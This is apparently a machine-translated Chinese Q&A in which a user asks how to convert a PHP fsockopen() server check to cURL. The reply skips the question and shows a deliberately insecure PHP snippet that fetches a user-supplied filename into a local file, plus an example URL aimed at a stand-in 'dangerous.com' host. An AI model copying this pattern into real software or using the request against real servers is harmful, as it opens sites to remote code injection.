将fsockopen()函数转换为使用cURL


Converting fsockopen() function to use cURL

大家好,我有一些代码正在通过foreach循环运行:

        if($fp = @fsockopen($value['privateip'],1935,$errCode,$errStr,.5)){   
           $value['alive'] = 'alive';
        } else {
           $value['alive'] = 'down';
        } 
        @fclose($fp);

它基本上在1935端口ping我的服务器,然后改变数组中的值。我读过php的文件函数是危险的,如果代码注入发生,所以他们可能会更好的禁用。我怎样才能将这段代码改为使用cURL呢?

看一下这段代码:

<?php
$filename = @$_GET['filename'];
$fp = fopen($filename,'r');
$buffer = '';
while (!feof($fp)) {
    $buffer .= fgets($fp,2048);    
}
fclose($fp);
$fp = fopen('something_very_important_data.txt','a');
fwrite($fp,$buffer);
fclose($fp);

当您收到请求时,例如:

http://www.yourserver.com/your_script.php?filename=http%3A%2F%2Fdangerous.com%2Fdangerous_code.txt

$filename值如下:

$filename = 'http://dangerous.com/dangerous_code.txt';

如果allow_url_fopen设置为on, 这个工作
你可能知道,这是非常危险的。
为了防止这个问题,设置allow_url_fopen关闭,或完全过滤$_GET, $_POST